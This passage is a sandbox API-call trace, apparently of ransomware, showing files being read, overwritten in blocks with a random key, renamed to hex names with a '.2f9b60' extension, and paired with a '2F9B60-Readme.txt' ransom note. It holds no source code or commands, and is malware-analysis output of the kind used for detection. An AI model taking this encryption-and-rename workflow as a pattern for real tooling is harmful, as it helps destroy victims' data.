lpFileSize=0x2491fa60 | out: lpFileSize=0x2491fa60*=94711) returned 1 [0099.589] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x171f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.589] ReadFile (in: hFile=0xed0, lpBuffer=0x2491f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2491fa28, lpOverlapped=0x0 | out: lpBuffer=0x2491f9e0*, lpNumberOfBytesRead=0x2491fa28*=0x4, lpOverlapped=0x0) returned 1 [0099.590] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0099.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0099.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0099.591] NtQuerySystemTime (in: CurrentTime=0x2491f920 | out: CurrentTime=0x2491f920*=132462177051202000) returned 0x0 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0xcdfe2d6 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x99c67f0 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x3d0c04d9 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x390e4bff [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x9d6cdd [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x46313da6 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x2fb15cf0 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x7368bdc [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x627b370f [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x5d43ec17 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x10c08b4b [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x6746717e [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x70f48de5 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x3fb3276f [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x2aa778d5 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x23f1b3f1 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x427a904d [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x56a553fd [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x3054a0e4 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x2cbf619b [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x53c86248 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x2da189c3 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0xa2cdbe6 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x23f4d407 [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x59aa41e [0099.591] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x303e026d [0099.592] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x2c3f93cf [0099.592] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x6a80a7ac [0099.592] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x3a5776c8 [0099.592] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x78c91740 [0099.592] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x1be916a8 [0099.592] RtlRandomEx (in: Seed=0x2491f910 | out: Seed=0x2491f910) returned 0x2f4359d [0099.622] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.623] ReadFile (in: hFile=0xed0, lpBuffer=0x2017d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2491f980, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x2491f980*=0x3c00, lpOverlapped=0x0) returned 1 [0099.623] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0099.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0099.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0099.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262240) returned 1 [0099.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0099.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262240 [0099.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0099.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0099.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0099.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0099.624] WriteFile (in: hFile=0xed0, lpBuffer=0x20180d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2491f980, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesWritten=0x2491f980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0100.597] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.597] ReadFile (in: hFile=0xed0, lpBuffer=0x2017d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2491f980, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x2491f980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.597] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0100.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0100.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0100.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0100.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0100.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8220) returned 1 [0100.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.598] WriteFile (in: hFile=0xed0, lpBuffer=0x20180d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2491f980, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesWritten=0x2491f980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0100.612] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x135f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.612] ReadFile (in: hFile=0xed0, lpBuffer=0x2017d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2491f980, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x2491f980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.612] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x135f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0100.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0100.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262420) returned 1 [0100.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0100.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0100.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0100.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0100.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0100.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.613] WriteFile (in: hFile=0xed0, lpBuffer=0x20180d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2491f980, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesWritten=0x2491f980*=0x3c00, lpOverlapped=0x0) returned 1 [0100.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0100.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863a40 [0100.623] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.623] WriteFile (in: hFile=0xed0, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2491fa30, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2491fa30*=0x14c, lpOverlapped=0x0) returned 1 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0100.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20262180 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262150 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620f0 [0100.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620f0) returned 1 [0100.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f3b0 [0100.672] sprintf (in: _Dest=0x1cd9f3b0, _Format="%c%c" | out: _Dest="f2") returned 2 [0100.672] sprintf (in: _Dest=0x1cd9f3b2, _Format="%c%c" | out: _Dest="14") returned 2 [0100.672] sprintf (in: _Dest=0x1cd9f3b4, _Format="%c%c" | out: _Dest="c2") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3b6, _Format="%c%c" | out: _Dest="c2") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3b8, _Format="%c%c" | out: _Dest="c1") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3ba, _Format="%c%c" | out: _Dest="f8") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3bc, _Format="%c%c" | out: _Dest="4c") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3be, _Format="%c%c" | out: _Dest="73") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3c0, _Format="%c%c" | out: _Dest="bf") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3c2, _Format="%c%c" | out: _Dest="36") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3c4, _Format="%c%c" | out: _Dest="35") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3c6, _Format="%c%c" | out: _Dest="a7") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3c8, _Format="%c%c" | out: _Dest="cb") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3ca, _Format="%c%c" | out: _Dest="92") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3cc, _Format="%c%c" | out: _Dest="2c") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3ce, _Format="%c%c" | out: _Dest="1e") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3d0, _Format="%c%c" | out: _Dest="02") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3d2, _Format="%c%c" | out: _Dest="af") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3d4, _Format="%c%c" | out: _Dest="df") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3d6, _Format="%c%c" | out: _Dest="1e") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3d8, _Format="%c%c" | out: _Dest="10") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3da, _Format="%c%c" | out: _Dest="01") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3dc, _Format="%c%c" | out: _Dest="14") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3de, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3e0, _Format="%c%c" | out: _Dest="fb") returned 2 [0100.673] sprintf (in: _Dest=0x1cd9f3e2, _Format="%c%c" | out: _Dest="2f") returned 2 [0100.674] RtlInitAnsiString (in: DestinationString=0x2491faa8, SourceString="f214c2c2c1f84c73bf3635a7cb922c1e02afdf1e100114d4fb2f" | out: DestinationString="f214c2c2c1f84c73bf3635a7cb922c1e02afdf1e100114d4fb2f") [0100.674] RtlAnsiStringToUnicodeString (in: DestinationString=0x2491fa78, SourceString="f214c2c2c1f84c73bf3635a7cb922c1e02afdf1e100114d4fb2f", AllocateDestinationString=1 | out: DestinationString="f214c2c2c1f84c73bf3635a7cb922c1e02afdf1e100114d4fb2f") returned 0x0 [0100.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866440 [0100.674] wcscat (in: _Dest=0x202b0e70, _Source="f214c2c2c1f84" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\f214c2c2c1f84") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\f214c2c2c1f84" [0100.674] wcscat (in: _Dest=0x202b0e70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\f214c2c2c1f84.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\f214c2c2c1f84.2f9b60" [0100.674] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\f214c2c2c1f84.2f9b60", NtPathName=0x2491fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\f214c2c2c1f84.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106880 [0103.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 [0103.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98bc0) returned 1 [0103.455] NtQueryInformationFile (in: FileHandle=0xed0, IoStatusBlock=0x2491fab8, FileInformation=0x2491fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2491fab8, FileInformation=0x2491fac8) returned 0x0 [0103.455] NtSetInformationFile (FileHandle=0xed0, IoStatusBlock=0x2491fab8, FileInformation=0x2491fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0e70) returned 1 [0104.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0104.359] FlushFileBuffers (hFile=0xed0) returned 1 [0104.803] CloseHandle (hObject=0xed0) returned 1 [0105.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205daf0 [0105.086] wcscpy (in: _Dest=0x4205daf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0105.086] wcscat (in: _Dest=0x4205daf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0105.086] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205daf0) returned 1 [0106.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a42f0) returned 1 Thread: id = 847 os_tid = 0xacc [0100.984] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0100.985] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url", dwFileAttributes=0x20) returned 1 [0100.985] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1510 [0100.986] GetFileSizeEx (in: hFile=0x1510, lpFileSize=0x239bfe20 | out: lpFileSize=0x239bfe20*=133) returned 1 [0100.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0100.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262150 [0100.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0100.986] NtQuerySystemTime (in: CurrentTime=0x239bfce0 | out: CurrentTime=0x239bfce0*=132462177065086000) returned 0x0 [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x3dddf872 [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x426a592a [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x365c34eb [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x38997cf6 [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x3f4401ad [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x17ac9e57 [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x5e4ddb1b [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x4354e773 [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x61272e07 [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x2f18a2ff [0100.986] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x19c2e683 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x1a5ff4fd [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x141985ba [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x45d44523 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x7525f320 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x361c1361 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x32f7ae0d [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x797de441 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x5bbf8f9e [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x4e9656b2 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x67a91b5a [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x52c58c54 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x13ef17e7 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x7656c74f [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x5d346a7a [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x5dcbf03e [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x304489cf [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x42059f1d [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x111f7db3 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x2a114713 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x703dc8d2 [0100.987] RtlRandomEx (in: Seed=0x239bfcd0 | out: Seed=0x239bfcd0) returned 0x26fa177a [0100.999] ReadFile (in: hFile=0x1510, lpBuffer=0x201c4990, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x239bfcd0, lpOverlapped=0x0 | out: lpBuffer=0x201c4990*, lpNumberOfBytesRead=0x239bfcd0*=0x85, lpOverlapped=0x0) returned 1 [0101.001] SetFilePointerEx (in: hFile=0x1510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.001] WriteFile (in: hFile=0x1510, lpBuffer=0x201b9560*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x239bfcd4, lpOverlapped=0x0 | out: lpBuffer=0x201b9560*, lpNumberOfBytesWritten=0x239bfcd4*=0x85, lpOverlapped=0x0) returned 1 [0147.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0147.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0147.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0147.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b9560) returned 1 [0147.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c4990) returned 1 [0147.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0147.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0147.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85faf0 [0147.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0147.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79db70 [0147.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0147.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0147.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85f730 [0147.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0147.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0147.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0147.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0147.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0147.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x167ca0 [0147.857] SetFilePointerEx (in: hFile=0x1510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.857] WriteFile (in: hFile=0x1510, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x239bfdf0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x239bfdf0*=0x10c, lpOverlapped=0x0) returned 1 [0148.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0148.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0148.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0148.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85fc40 [0148.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0148.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0148.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0148.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0148.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7aa1a0 [0148.132] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="12") returned 2 [0148.132] sprintf (in: _Dest=0x1b7aa1a2, 